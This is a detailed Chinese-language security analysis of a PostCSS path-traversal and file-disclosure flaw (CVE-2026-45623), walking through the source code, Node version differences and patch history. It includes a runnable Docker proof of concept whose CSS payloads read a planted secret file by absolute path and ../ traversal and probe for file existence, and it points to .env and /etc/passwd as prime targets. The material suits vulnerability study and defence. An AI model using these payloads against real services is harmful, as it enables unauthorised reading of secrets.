从一行 CSS 注释开始:把 PostCSS CVE-2026-45623 这条攻击链走一遍
一行看似无害的 CSS 注释,就能让 PostCSS 读取服务器上的任意文件,并通过异常消息回显文件内容前缀。无需插件、无需显式开启 source map、通常也无需设置 `from`,攻击者唯一需要做的就是把这段文本嵌入 CSS 输入中。
先说结论
一行看似无害的 CSS 注释,就能让 PostCSS 读取服务器上的任意文件,并通过异常消息回显文件内容前缀。无需插件、无需显式开启 source map、通常也无需设置 from,攻击者唯一需要做的就是把这段文本嵌入 CSS 输入中。
这条攻击链真正有意思的地方,不是某个特别显眼的危险函数,而是 PostCSS 一个藏得很深的"默认行为":自动从 CSS 注释中提取 sourceMappingURL,把它当成本地文件路径读取,而且整个过程几乎没有安全边界检查。从注释提取到文件读取,中间一共经过 6 个阶段,最危险的空档刚好出现在"路径净化"和"真正读文件"之间。
下面我会按源码把这 6 个阶段一层层拆开,顺手把 Docker 复现和补丁 diff 也对上,最后再把 8.5.12 之后剩下的 .map 利用面按版本捋清楚,重点看攻击者到底还能拿到什么,以及外显条件到底变成了什么。
先把这个洞的轮廓摆清楚
1.1 基本信息
字段 | 内容 |
CVE 编号 | CVE-2026-45623 |
CVSS 3.1 | 7.5(HIGH)— |
CWE | CWE-22(路径穿越)、CWE-200(信息泄露) |
影响版本 | postcss < 8.5.12 |
修复版本 | 8.5.12(修掉原始任意文件 + 异常泄露)→ 8.5.18(补 |
披露日期 | GHSA:2026-07-20 | CVE:2026-07-27 |
1.2 为什么这个洞值得单独写一篇
PostCSS 是前端生态中使用最广泛的 CSS 后处理器之一。根据 npm 页面在 2026 年 8 月的公开数据,其周下载量约为 2.74 亿次。它被大量构建工具(如 Vite、Next.js、Webpack)、CSS 框架(Tailwind CSS)、以及各类在线 CSS 处理服务作为底层依赖使用。
任何将用户可控 CSS 传入 postcss().process() 的场景,理论上都可能成为该漏洞的攻击面——包括但不限于:
- 支持用户上传自定义主题/样式的 CMS 系统
- 在线 CSS 格式化、压缩、转换服务
- 浏览器扩展和 userstyle 处理管线
- 多租户 SaaS 平台的样式定制功能
- 对第三方 npm 包样式执行 PostCSS 的 CI/CD 流水线
1.3 先压成一句话
PostCSS 默认从 CSS 注释中提取
sourceMappingURL并将它当作本地文件路径读取,整个过程缺少安全边界检查。
1.4 利用门槛其实并不高
条件 | 说明 |
攻击者可控制 CSS 输入 | 能向 |
运行于 Node.js 环境 | PostCSS 本身是 Node.js 库 |
| 默认情况下未显式禁用 source map |
目标文件对进程可读 | Node.js 进程有权限读取目标文件 |
在绝大多数部署场景中,这些条件都是默认满足的。
先把整条链过一遍
在扎进源码之前,不妨先把全貌过一遍。这样后面看到每个函数时,就不会只盯着局部实现,而是能一直带着整条数据流去看。
2.1 六步走完整条链
整条攻击链从攻击者提交恶意 CSS 开始,一路经过 6 个阶段,最后再以两种不同的形态把目标文件信息带出进程边界。这里先把每一环在做什么、漏检漏在哪里讲清楚,源码细节放到后面展开。
入口其实很低
攻击者唯一需要做的事,就是把恶意 CSS 提交到 postcss().process(css, opts)。Input 构造函数会先判断 pathAvailable 和 sourceMapAvailable 两个环境标志:在常见 Node.js 部署中这两者默认均为 true,随即进入 new PreviousMap(this.css, opts);只有当调用方显式设置 opts.map === false 时才会在此处被阻断。这意味着绝大多数未做特殊配置的调用都会自动进入后续危险路径。
Stage ① 入口:Input 构造(lib/input.js 70-76)
Input 构造函数将原始 CSS 字符串原样传入 new PreviousMap(this.css, opts),不过滤;对 opts.map 的安全检查被推迟到 PreviousMap 内部。构造完成后会立即调用 map.consumer().file,意味着整条攻击链是一次性触发的——开发者即便只写了一行 postcss().process(css),文件系统操作也已经在这一步默默执行完毕。详见 §3.1。
Stage ② 提取:loadAnnotation()(lib/previous-map.js 73-84)
loadAnnotation() 用正则 /*s*# sourceMappingURL= 扫描全部 CSS 注释,再用 lastIndexOf 取最后一个匹配,截取 /* ... */ 之间的内容交给 Stage ③。这一阶段本身符合 CSS source map 规范;问题在后续把这段注释文本直接当作本地文件路径处理。lastIndexOf 让漏洞更像"尾部覆盖原语":攻击者只需把恶意注释追加到 CSS 尾部即可覆盖正常值。详见 §3.2。
Stage ③ 净化:getAnnotationURL()(lib/previous-map.js 60-62)🔴 最值得盯住的一步
getAnnotationURL() 只做了 sourceMapString.replace(/^/*s*# sourceMappingURL=/, '').trim()——去掉注释前缀、trim 空格,仅此而已。不拒绝绝对路径、不检测 ../、不做路径规范化、也不区分 URL 与文件路径。函数名暗示产出是 URL,但下游却当成本地路径——这个语义断裂是漏洞根源。详见 §3.3。
Stage ④ 路径构造:loadMap()(lib/previous-map.js 129-132)
loadMap() 取 let map = this.annotation;若 opts.from 已设置则 map = join(dirname(file), map);最后 return this.loadFile(map)。path.join() 会正常解析 .. 和 .,但不限制结果必须在某目录内(这是 Node.js 设计行为,非 bug),问题在于 PostCSS 未对 join 结果做边界约束。攻击在此分叉为两条路径:路径 A(无 from)绝对路径直接生效;路径 B(有 from)目录穿越逃逸。详见 §3.4。
Stage ⑤ 文件读取:loadFile()(lib/previous-map.js 87-91)🔴 Sink
两条路径汇入同一个 loadFile(path) sink:先 existsSync(path),再 readFileSync(path, 'utf-8').toString().trim()。无扩展名检查、无白名单、无 trusted 参数、使用同步阻塞读取。existsSync() 的返回值构成三类可区分状态的 side channel(文件存在性 Oracle)。漏洞在 readFileSync() 成功返回时就已经成立:文件内容已进入进程内存、this.mapFile 已被设为攻击者指定的真实路径;后续是报错、吞错还是继续合并 source map,只影响如何外显,不改变"未经授权读取已发生"这一事实。详见 §3.5。
Stage ⑥ 信息泄露:consumer()(lib/previous-map.js 32-35)🔴 Leak
读取到的文件内容存放在 this.text 中,consumer() 紧接着将其无预检地传给 new SourceMapConsumer(this.text),最终走到 JSON.parse(str)。根据目标文件内容是否为合法 JSON,最终表现为两类泄露方式:
- 不是合法 JSON(
.env、/etc/passwd等):V8 抛SyntaxError,异常消息把目标文件约 10 字节前缀外显,同时确认文件存在、并可由首 token 推断文件类型。 - 是合法 JSON(外部
.map文件等):解析静默成功,不抛异常,但攻击者仍据此知道文件存在;若是真正的 source map,还可能进一步通过sources/sourcesContent字段泄露。
整条链的最终输出形态取决于 opts.from 是否设置(决定走路径 A 还是 B)以及目标文件内容是否为合法 JSON(决定异常外显还是静默回显)。详见 §3.6。
真正该盯住的是 Stage ③(弱净化)到 Stage ⑤(文件读取)这一段:中间几乎没有任何像样的校验。攻击者的输入从
getAnnotationURL()出来以后,就一路滑进了readFileSync(),路径形态判断、目录边界、扩展名白名单、trusted 标记这些本该出现的关卡全都缺位了。
2.2 这 6 步分别跨过了哪些边界
上述六个阶段可以分成三个不同的"信任域":
信任域 | 包含阶段 | 安全状态 | 说明 |
用户输入域 | ① → ② | ⚪ 中性 | CSS 注释是 source map 规范的一部分,提取逻辑本身无安全问题 |
危险转换域 | ③ → ④ | 🔴 缺失 | 从"注释文本"到"文件路径"的转换缺少安全边界。③ 只去掉了 CSS 注释前缀,④ 直接用 |
文件操作域 | ⑤ → ⑥ | 🔴 关键 |
|
顺着源码往下拆
下面这一段直接沿着源码往下走。每一步都不复杂,但连在一起以后,漏洞为什么能成立就很清楚了。
3.0 先看数据怎么一路滑进 readFileSync
在逐行分析源码之前,先用一张精简图看清数据在 6 个阶段之间的形态变化,以及安全校验在哪些节点缺失:
这张图最值得注意的地方很简单:数据每往前走一步,信任级别都在提升,但中间几乎没有补上任何新的校验。CSS 注释文本就这样一路变成了文件路径、文件内容,最后又变成了异常消息的一部分。
下面,我们逐个阶段展开源码分析。
3.1 Stage ① — 入口点:Input 构造函数
文件:lib/input.js(postcss 8.5.11)
// lib/input.js L70-76
if (pathAvailable && sourceMapAvailable) {
let map = new PreviousMap(this.css, opts) // ← CSS 直接传入,无任何过滤
if (map.text) {
this.map = map
let file = map.consumer().file // ← 立即触发 consumer() 解析
if (!this.file && file) this.file = this.mapResolve(file)
}
}这里先看三个点:
Input层不检查opts.map选项——这个检查推迟到了PreviousMap构造函数内部pathAvailable和sourceMapAvailable在常见 Node.js 环境中通常为truemap.consumer().file在构造完成后立即调用,意味着攻击链是一次性触发的,不需要任何后续操作
开发者如果只看 postcss().process(css) 这行调用,很难意识到它内部已经自动执行了文件系统操作。
3.2 Stage ② — 注释提取:loadAnnotation()
文件:lib/previous-map.js L73-84(8.5.11)
loadAnnotation(css) {
let comments = css.match(/\/\*\s*# sourceMappingURL=/g) // ← 正则提取
if (!comments) return
let start = css.lastIndexOf(comments.pop()) // ← 取最后一个匹配
let end = css.indexOf('*/', start)
if (start > -1 && end > -1) {
this.annotation = this.getAnnotationURL(css.substring(start, end))
}
}这里要注意几件事:
- 正则
/*s*# sourceMappingURL=可匹配/*# sourceMappingURL=和/* # sourceMappingURL=两种格式 - 使用
lastIndexOf取最后一个匹配——如果 CSS 中有多个注释,攻击者可以覆盖前面的正常注释 - 提取出来的字符串包含完整的
/*# sourceMappingURL=... */,需要 Stage ③ 进一步处理
这个阶段本身没有安全问题——sourceMappingURL 注释是 CSS source map 规范的一部分。问题在于:PostCSS 没有区分"这是 CSS 注释中的纯文本标注"和"这是一个应该被安全处理的本地文件路径"。
3.2.1 为什么"取最后一个注释"对攻击者更友好
loadAnnotation() 不是取第一个 sourceMappingURL,而是取最后一个。这意味着攻击者在很多真实场景里不需要移除原本合法的 source map 注释,只需要把一段恶意注释追加到 CSS 尾部,就能覆盖前面的正常值。例如:
/* 构建工具原本生成的合法注释 */
/*# sourceMappingURL=app.css.map */
/* 攻击者后追加的一行 */
/*# sourceMappingURL=/tmp/server-secret.env */对防守方来说,这个细节有两个现实含义:
- 如果系统会把"平台生成的样式"和"用户补充的样式"做字符串拼接,攻击者往往只需要控制最后拼接进去的那一段
- 如果审计者只关注"是否已经存在合法
.map注释",很容易误判为"已经被正常 source map 占位,无法覆盖"
说得再直白一点,lastIndexOf(comments.pop()) 让这个漏洞更像一个尾部覆盖原语:攻击者不用和原有注释抢位置,只要拿到"最后落盘"的机会就够了。
3.3 Stage ③ — 弱净化:getAnnotationURL() 🔴
如果只挑一处最该记住的代码,这里就是。
文件:lib/previous-map.js L60-62(8.5.11)
getAnnotationURL(sourceMapString) {
return sourceMapString.replace(/^\/\*\s*# sourceMappingURL=/, '').trim()
}就这。两行代码。只是把 /*# sourceMappingURL= 前缀去掉然后 trim 一下。没有任何安全检查。
安全缺失清单:
缺失项 | 说明 | 攻击利用 |
❌ 仅特判 | 除 | 注释文本可直接变成本地路径 |
❌ 无绝对路径限制 | 不检查路径是否以 |
|
❌ 无 | 不检查是否包含 |
|
❌ 无路径规范化 | 不对路径做 | 符号链接、 |
❌ 不区分 URL 与文件路径 | 函数名叫 | 没有 URL → 路径的安全转换 |
说白了,这里就是把注释值直接当成可信输入用了。函数名叫 getAnnotationURL,听起来像是在处理 URL;但下游(Stage ④⑤)拿到它以后,直接就按本地文件路径去走。这个语义断裂,正是整条链能成立的根子。
3.4 Stage ④ — 路径构造:loadMap()
文件:lib/previous-map.js L129-132(8.5.11)
// prev 为空且 annotation 非 data: URI 时的分支
} else if (this.annotation) {
let map = this.annotation // ← 攻击者控制的路径字符串
if (file) map = join(dirname(file), map) // ← join 允许 ../ 穿越
return this.loadFile(map) // ← 直接传入 loadFile()
}两种攻击路径的分流:
对应到源码中的计算:
// === 场景 A:opts.from 未设置 → 绝对路径直接生效 ===
// CSS 输入:
// a {}
// /*# sourceMappingURL=/tmp/server-secret.env */
//
// getAnnotationURL 输出:"/tmp/server-secret.env"
// file === undefined
// map = "/tmp/server-secret.env" ← 原样传入,攻击者的绝对路径一字不改
// → loadFile("/tmp/server-secret.env") ← 直接读取!
// === 场景 B:opts.from 已设置 → 目录穿越 ===
// CSS 输入:
// a {}
// /*# sourceMappingURL=../../../../../tmp/server-secret.env */
//
// getAnnotationURL 输出:"../../../../../tmp/server-secret.env"
// from = "/var/www/html/styles/main.css"
// file = from
// map = join(dirname("/var/www/html/styles/main.css"), "../../../../../tmp/server-secret.env")
// = join("/var/www/html/styles", "../../../../../tmp/server-secret.env")
// = "/tmp/server-secret.env" ← 成功逃逸出 /var/www/html/styles 目录!
// → loadFile("/tmp/server-secret.env") ← 跨目录读取!path.join() 的语义是"拼接路径并规范化",它会正常解析 .. 和 .,但不会限制结果必须在某个目录内。这是 Node.js path.join() 的设计行为,不是 bug——问题在于 postcss 没有对 join 结果做边界约束。
3.4.1 为什么 opts.from 没挡住,反而让利用更稳
乍看这里很容易以为:既然 from 提供了一个基准路径,多少总该比"完全无上下文"安全一点。实际恰好相反。在 <= 8.5.17 的版本里,from 更像是给攻击者提供了一根可计算的撬棍。
原因在于:
- 没有
from时,攻击者通常只能直接赌绝对路径,如/app/.env、/tmp/... - 有
from时,攻击者拿到的是一个稳定锚点:dirname(file) - 一旦锚点可预测,
../../..的逃逸深度就可以离线算出来,利用不再依赖进程当前工作目录
从利用工程角度看,from 的价值不只是"允许相对路径"这么简单,而是把漏洞从"依赖目标机器上某些已知绝对路径的猜测"变成"依赖一个构建系统、Web 服务或 CLI 在日志、错误或接口中经常会暴露的基准文件路径"。
这也是为什么 8.5.18 的补丁必须补"结果路径仍留在 opts.from 目录内"这条约束,而不是简单继续信任 join(dirname(file), map)。
3.5 Stage ⑤ — 文件读取:loadFile() 🔴
文件:lib/previous-map.js L87-91(8.5.11 脆弱版本)
loadFile(path) { // ← 只有一个参数,无 trusted/untrusted 区分
this.root = dirname(path)
if (existsSync(path)) { // ← 文件存在性 Oracle!
this.mapFile = path
return readFileSync(path, 'utf-8') // ← 任意文件读取 sink
.toString().trim()
}
}安全缺失:
缺失项 | 说明 | 后果 |
❌ 无扩展名检查 | 不要求文件以 |
|
❌ 无白名单机制 | 不限制可读取的文件路径 | 任何进程可访问的文件都能读 |
❌ 无 trusted 参数 | 无法区分"官方 source map"和"用户指定路径" | 所有路径一视同仁 |
❌ 同步阻塞读取 | 使用 | 大文件/管道可能造成 DoS |
文件存在性 Oracle:existsSync(path) 的返回值构成了一个三类可区分状态的 side channel:
场景 |
| 程序行为 | 攻击者可区分 |
文件不存在 |
| 静默返回 | ✅ |
文件存在且非 JSON |
| 读取成功 → | ✅ |
文件存在且是合法 JSON |
| 读取成功 → 静默解析成功 | ✅ |
三种状态可明确区分,形成完整的文件系统探测能力。攻击者可以像使用 curl --head 一样探测服务器文件系统中感兴趣的目标。
3.5.1 别把问题只看成后面的异常
看到这里时,注意力很容易被后面的 JSON.parse 异常吸走,进而低估 Stage ⑤ 本身的严重性。但从安全定义上说,漏洞在 readFileSync() 成功返回时就已经成立了。
原因很直接:
- 文件内容已经从磁盘进入进程内存
this.mapFile已记录了攻击者指定的真实路径this.root已被设置为目标文件所在目录- 后续是报错、吞错、还是继续合并 source map,只影响"如何外显",不改变"未经授权读取已经发生"
这一区分很关键,因为它解释了为什么:
8.5.12虽然切断了非 JSON 文件的异常外显,但没有一次性消灭所有读取面- 安全审计里不能把"不再报错"等同于"不再读文件"
从攻防术语上看,Stage ⑤ 是 sink,Stage ⑥ 只是这个 sink 的一个回显通道。
3.6 Stage ⑥ — 文件内容是怎么继续流到 JSON.parse 的 🔴
这是漏洞最终表现为"信息泄露"而非"直接文件下载"的关键环节。
文件:lib/previous-map.js L32-35(8.5.11)
consumer() {
if (!this.consumerCache) {
this.consumerCache = new SourceMapConsumer(this.text)
// ^^^^^^^^^
// 此时 this.text = 从目标文件读取的完整内容
// 例: "API_KEY=sk-secret-12345\n"
}
return this.consumerCache
}没有任何预检,直接把文件内容传给第三方库 source-map-js。
// source-map-js/lib/util.js
function parseSourceMapInput(str) {
return JSON.parse(str.replace(/^\)]}'[^\n]*\n/, ''));
// ^^^^^^^^^
// 当文件内容不是合法 JSON 时,抛出 SyntaxError
// V8 的异常消息中会附带 ~10 字节的文件内容前缀!
}完整的泄露链路和异常消息格式,下面就顺着这条线继续往下看。
3.7 把关键脆弱点收个表
# | 阶段 | 文件:行号 | 脆弱点 | 安全缺失 |
1 | Entry |
|
| Input 层默认创建 PreviousMap,不检查 |
2 | Extract |
|
| 正则提取后无验证 |
3 | Sanitize |
|
| ❌ 无 scheme 白名单 |
4 | Sanitize |
|
| ❌ 无绝对路径限制 |
5 | Sanitize |
|
| ❌ 无 |
6 | Path |
|
| ❌ 无目录边界约束 |
7 | Sink |
|
| ❌ 文件存在性 Oracle |
8 | Sink |
|
| ❌ 8.5.11 无扩展名限制 |
9 | Leak |
|
| ❌ 8.5.11 无 JSON 预检 |
10 | Leak |
|
| 异常消息包含文件前缀 |
异常消息为什么会把文件前缀带出来
看到这里通常会有个问题:文件确实被
readFileSync读进内存了,但 PostCSS 并没有一个"把文件原样返回给你"的接口,攻击者到底是怎么看到内容的?答案是:不是直接返回,而是通过异常消息这个 side channel。
4.1 三层调用链(序列图)
4.2 第一层:previous-map.js — consumer()
// lib/previous-map.js L32-35
consumer() {
if (!this.consumerCache) {
this.consumerCache = new SourceMapConsumer(this.text)
// 此时 this.text = readFileSync(path, 'utf-8').toString().trim()
// 例: "API_KEY=sk-secret-12345"
}
return this.consumerCache
}文件内容原样传入构造函数,无预检、无过滤。
4.3 第二层:source-map-js — BasicSourceMapConsumer
// node_modules/source-map-js/lib/source-map-consumer.js
function BasicSourceMapConsumer(aSourceMap, aSourceMapURL) {
var sourceMap = aSourceMap;
if (typeof aSourceMap === 'string') {
sourceMap = util.parseSourceMapInput(aSourceMap); // ← 这里触发 JSON 解析
}
var version = util.getArg(sourceMap, 'version');
if (version != this._version) {
throw new Error('Unsupported version: ' + version);
}
// ...
}当参数是字符串时(postcss 传入的就是 readFileSync 返回的字符串),直接调用 parseSourceMapInput()。
4.4 第三层(真正的泄露点):util.parseSourceMapInput → JSON.parse
// node_modules/source-map-js/lib/util.js
function parseSourceMapInput(str) {
return JSON.parse(str.replace(/^\)]}'[^\n]*\n/, ''));
}泄露机制的可视化:
// 假设 readFileSync 读到了 /tmp/server-secret.env:
const text = "API_KEY=sk-secret-12345\n"
// Step 1: XSSI 前缀替换
text.replace(/^\)]}'[^\n]*\n/, '')
// → "API_KEY=sk-secret-12345\n" (没有匹配,原样返回)
// Step 2: JSON.parse 尝试解析
JSON.parse("API_KEY=sk-secret-12345\n")
// 💥 V8 抛出异常:
// SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON
// ^^^^^^^^^^^^
// V8 在异常消息中附带 ~10 字节上下文,泄露文件前缀!4.5 为什么是 ~10 字节?
这是 V8 JavaScript 引擎的错误消息格式化行为。当 JSON.parse 在位置 0 遇到非法 token 'A' 时,V8 构造的 SyntaxError 消息格式为:
Unexpected token '{token}', "{context}..." is not valid JSON其中 {context} 是以非法 token 为起点的约 10 个字符的片段。这个长度不是攻击者可控的,但也不是固定规范值——它取决于 V8 的内部实现细节,可能随版本变化。
⚠️ 重要说明:异常消息中显示的文件前缀长度取决于当前运行环境的 Node/V8 版本。本文示例中展示的
API_KEY=sk是 10 字符,但在不同环境下可能略有差异。在写检测规则时不应该把这个长度当成硬编码值。
4.5.1 为什么泄露的是"前缀片段",而不是整段文件内容
当 JSON.parse("API_KEY=sk-secret-12345 ") 在位置 0 失败时,V8 并不是把原始输入全文塞进异常消息里,而是大致做了下面三件事:
- 记录第一个非法 token 出现的位置。这里是位置
0,非法字符是A。 - 从错误位置附近截取一小段上下文,用于帮助开发者定位问题。
- 把这段上下文嵌进
SyntaxError消息模板,而不是把完整字符串原样回显。
因此,攻击者拿到的其实不是"完整文件内容",而是一个由 V8 帮忙裁剪过的调试片段。这解释了两个现象:
- 为什么
.env、/etc/passwd这类高信噪比前缀文件特别值钱:因为回显窗口很短,首部必须足够有辨识度 - 为什么这个漏洞在
<= 8.5.11阶段更像"前缀探针"而不是"全文下载器":泄露上限受 V8 消息格式约束,而不是受 PostCSS 业务逻辑约束
从攻击收益角度看,这种机制会把目标文件自然分成两类:
文件类型 | 首部特征 | 泄露价值 |
|
| 很高,前几字节就能确认敏感性 |
|
| 很高,能立刻确认 Unix 主机特征 |
大型 JSON / | 可能以 | 较低,往往不会走异常分支 |
普通源码文件 | 可能以 | 中等,能猜语言和用途,但不一定直接泄密 |
所以这条链在原始 CVE 里最实用的利用思路,从来不是"随便读一个文件试试",而是优先挑那些前缀本身就带高价值语义的目标。
4.6 这里真正的外显通道是什么
这不是直接把文件当返回值暴露给调用方,而是通过一个解析失败的 side channel——异常消息——把文件开头的一小段内容带出来。
这种泄露模式有个更准确的名字,叫"错误消息侧信道"(Error Message Side Channel)。它不依赖某个显式的"返回文件内容"逻辑,而是利用了异常处理链路上的信息残留。
4.7 换个 Node 版本,泄露窗口就不是一个样子了
§4.5 给出的"~10 字节"是一个基于单一 Node 版本观察得到的经验值。在后续验证中我们用同一组输入在 Node 18 / 20 / 22 / 24 / 26 的官方 node:*-slim 镜像里跑了样本,发现"前缀窗口"的真实形态并非一个稳定常量,而是同时受 V8 主版本与 错误分类两个维度影响。下面是实测结果,可作为复核参考。
4.7.1 不同 Node 版本的错误格式矩阵
输入统一为 JSON.parse(t) 在 node:*-slim 容器内执行:
输入样本 | Node 18 输出 | Node 20-26 输出 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
观察:
- Node 18:所有错误一律走
... in JSON at position N形态,完全没有"<context>"这一段——回显窗口事实上只有 1 字节(失败 token 的字符本身)+ 一个 position 数字。 - Node 20-26:错误形态分裂为两类。第 0 位就是非法 token 时走
Unexpected token 'X', "<context>..." is not valid JSON(带上下文);当输入前缀恰好是合法 JSON 后再遇到非法字符,则改走position N (line M column K)形态,不再带任何字符上下文,只给出N/M/K这三个数字。
这是非常重要的修正:之前文中所说"~10 字节前缀"只在"首字符即非法"这一种错误形态下成立;一旦目标文件首部恰好是合法 JSON 片段(数字、字符串、true/false/null、数组元素分隔等),Node 20+ 也只输出 position,回显窗口退化为 0 字节。
4.7.2 Node 20+ 真实窗口宽度的实测
固定输入为 ws + "SECRET=value1234567890ABCDEFGH"(ws 是 N 个空格),在 Node 20/22/24/26 上跑,visibleLen 是从 e.message 中截取到的两个引号之间的可见字符长度:
| 可见窗口内容 |
|
0 |
| 10 |
1 |
| 11 |
5 |
| 15 |
9 |
| 19 |
10 及以上 |
| 20(再加 |
由此得出的是 V8 在这一族错误路径上的实际窗口习惯:约 10 字符的"失败位置之前的上下文" + 约 10 字符"从失败位置开始的上下文",二者拼起来上限是 20 字符。§4.5 给出的"~10"对应的是文件首部正好命中非法 token、前文为空的场景;只要文件首部带空白、 、UTF-8 BOM、)]}' XSSI 前缀这样的"合法但不致命"字节,回显窗口就能向左延伸到约 20 字符。
工程上对攻击者有两条直接含义:
- 文件起始位置的"非语义空白"(包括前导
之类)会被 V8 算入失败位置前的上下文,间接把当前真正的首字节往下推。这会推高线性推进窗口的"右沿",让首字节本身不是高价值字符的目标也能泄露更多位。 - 但反过来,凡是能做到 V8 接受若干字符再失败的目标(首部是数字、
null、true等),在 Node 20+ 上只能拿到失败位置的position N,连 10 字节都没有——更接近一个"长度前缀"探针。
落地到检测:WAF / 日志告警规则不能只匹配一种模式(如 ..., "..."... is not valid JSON),还需要把 Node 18 的 Unexpected token X in JSON at position N 与 Node 20+ 的 position N 类一同纳入。
4.7.3 parseSourceMapInput 里的 XSSI 正则不是 ReDoS,但有一个"窗口跳变"副作用
source-map-js 的 parseSourceMapInput 是这样写的:
// node_modules/source-map-js/lib/util.js
function parseSourceMapInput(str) {
return JSON.parse(str.replace(/^\)]}'[^\n]*\n/, ''));
}^)]}'[^ ]* 这个正则结构上不可能产生灾难性回溯:[^ ] 与结尾的 在字符类上互斥,[^ ]* 走到第一个 即停;^ 锚定后第一段失败立即退出。所以在 1 MB 量级线上输入下也是线性时间,不存在 ReDoS。这一点可以把 §3.6 / §6.1 里"replace(/^)]}'[^ ]* /)"的危险性收口为"无 ReDoS"。
但这条正则有一个对泄露窗口有影响的副作用。如果目标文件的首行恰好以字节序列 )]}' 起头,则在 JSON.parse 之前会被剥掉这一整行。于是 JSON.parse 拿到的不是文件首行,而是从第二行开始——V8 抛出错误时显示的"前缀窗口"被整体右移到第二行内容。在真实文件里首字面以 )]}' 开头极少见(一般只在外部已生成的 source map 防劫持头里出现),但分析阶段需要注意这一规则会让"窗口起点"与"文件首字节"不对应。
用 Docker 把这条链跑一遍
5.1 复现环境怎么搭
为了避免"环境偶然成功",我把整个复现环境固化为 Docker 资产。核心设计思路是 ARG POSTCSS_VERSION 一镜双用——同一个 Dockerfile、同一套 PoC 代码,只切换 POSTCSS_VERSION 这个构建参数,就能同时运行脆弱版和修复版。
为了让文章本身可以独立复现,下面把实验里用到的脚本和配置直接内嵌出来,不需要额外附件。
compose.yml
services:
vuln:
image: postcss-cve-2026-45623:vuln
build:
context: .
dockerfile: repro/Dockerfile
args:
POSTCSS_VERSION: 8.5.11
fixed:
image: postcss-cve-2026-45623:fixed
build:
context: .
dockerfile: repro/Dockerfile
args:
POSTCSS_VERSION: 8.5.12repro/Dockerfile
FROM node:20-bookworm-slim
ARG POSTCSS_VERSION=8.5.11
WORKDIR /app
RUN npm init -y >/dev/null 2>&1 \
&& npm install "postcss@${POSTCSS_VERSION}" >/dev/null 2>&1
COPY repro/poc.js /app/poc.js
# ⚠️ 在容器内预置一个"敏感文件"
RUN mkdir -p /var/www/html/styles \
&& printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env
CMD ["node", "/app/poc.js"]容器内预置的 /tmp/server-secret.env 内容为 API_KEY=sk-secret-12345,一旦漏洞成立,异常消息中就会出现 API_KEY=sk 前缀,效果非常直观。
repro/poc.js
const postcss = require('postcss')
function run(name, css, opts) {
try {
const result = postcss().process(css, opts)
console.log(`${name}=OK:${JSON.stringify(result.css)}`)
} catch (e) {
console.log(`${name}=ERR:${e.message}`)
}
}
run('ABSOLUTE', 'a{}\n/*# sourceMappingURL=/tmp/server-secret.env */')
run(
'TRAVERSAL',
'a{}\n/*# sourceMappingURL=../../../../../tmp/server-secret.env */',
{ from: '/var/www/html/styles/main.css', map: { inline: false } }
)
run('MISSING', 'a{}\n/*# sourceMappingURL=/no/such/file */')repro/run.sh
#!/bin/sh
set -eu
ROOT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")/.." && pwd)
cd "$ROOT_DIR"
SERVICE=${1:-vuln}
case "$SERVICE" in
vuln|fixed)
;;
*)
echo "Usage: $0 [vuln|fixed]" >&2
exit 1
;;
esac
docker compose build "$SERVICE"
docker compose run --rm "$SERVICE"repro/verify.sh
#!/bin/sh
set -eu
ROOT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")/.." && pwd)
cd "$ROOT_DIR"
for service in vuln fixed; do
echo "== $service =="
docker compose build "$service"
docker compose run --rm "$service"
done如果你想完全按文中的目录来落盘,只需要把上面 5 段内容分别保存成对应文件即可。
5.2 PoC 核心逻辑
const postcss = require('postcss')
function run(name, css, opts) {
try {
const result = postcss().process(css, opts)
console.log(`${name}=OK:${JSON.stringify(result.css)}`)
} catch (e) {
console.log(`${name}=ERR:${e.message}`)
}
}
// 测试 1:绝对路径读取
run('ABSOLUTE', 'a{}\n/*# sourceMappingURL=/tmp/server-secret.env */')
// 测试 2:目录穿越读取
run(
'TRAVERSAL',
'a{}\n/*# sourceMappingURL=../../../../../tmp/server-secret.env */',
{ from: '/var/www/html/styles/main.css', map: { inline: false } }
)
// 测试 3:不存在文件探测
run('MISSING', 'a{}\n/*# sourceMappingURL=/no/such/file */')5.3 脆弱版本输出(8.5.11)
这三行已经足够证明原始 CVE 的三个能力:
输出 | 证明了什么 |
| 绝对路径可读,且前缀经 |
| 当 |
|
|
5.4 为什么连插件都不用装
复现时最容易冒出来的疑问是:"是不是得装某个 PostCSS 插件才会走到这里?"不用。默认 postcss().process(css) 就够了,而且触发点发生在真正开始做 CSS 变换之前。
// lib/processor.js
process(css, opts = {}) {
if (!this.plugins.length && !opts.parser && !opts.stringifier && !opts.syntax) {
return new NoWorkResult(this, css, opts)
} else {
return new LazyResult(this, css, opts)
}
}// lib/no-work-result.js
let map = new MapGenerator(str, undefined, this._opts, css)
if (map.isMap()) {
let [generatedCSS, generatedMap] = map.generate()
// ...
}// lib/map-generator.js
let input = new Input(this.originalCSS, this.opts)
if (input.map) this.previousMaps.push(input.map)也就是说,在无插件的最常见路径里,调用链其实是:
Processor.process()
→ NoWorkResult
→ MapGenerator.isMap()
→ MapGenerator.previous()
→ new Input()
→ new PreviousMap()
→ loadAnnotation()
→ loadMap()
→ readFileSync()这个细节对攻击者很重要,因为它说明:
- 不需要命中特定插件生态
- 不需要等待 AST 遍历或后续 transform
- 只要业务代码把不可信 CSS 交给
postcss().process(),危险路径就已经开始执行
5.5 修复版跑出来是什么样(8.5.12)
这里最容易误判的地方有两个:
ABSOLUTE=OK:"a{}"说明非.map文件不再被读取MISSING=OK:"a{}"不再是<= 8.5.11那种强 Oracle,因为"文件不存在""非.map被拒绝""坏.map被吞掉"都可能落成同一种平静输出
所以,原始 CVE-2026-45623 到 8.5.12 为止已经失效。但利用面没有归零,只是换了形态。后面我会把残余 .map 利用面和各版本补丁的作用放在一起看。
5.6 复现时一个很容易混淆的点
原始 Docker PoC 只能证明 CVE-2026-45623 本体,不能证明 8.5.12+ 的残余 .map 利用。因为它只测了:
- 非
.map绝对路径 - 非
.map穿越路径 - 不存在文件
而 8.5.12+ 真正需要测的是:
- 合法 JSON 的外部
.map sourcesContent是否被并入结果- 业务代码是否对外暴露
result.map
如果你把这两类利用混成一类讲,整篇文章的攻击模型就会塌掉。
补丁是怎么一步步收口的
原始 CVE 到 8.5.12 已经失效,但攻击者拿到的不是一句简单的"修完了",而是"原来的打法被切断,新的残余面留下来了"。所以这里不能只看某一个补丁点,而要把版本演化和残余利用面一起看。
6.1 8.5.12:第一刀先把什么砍掉了
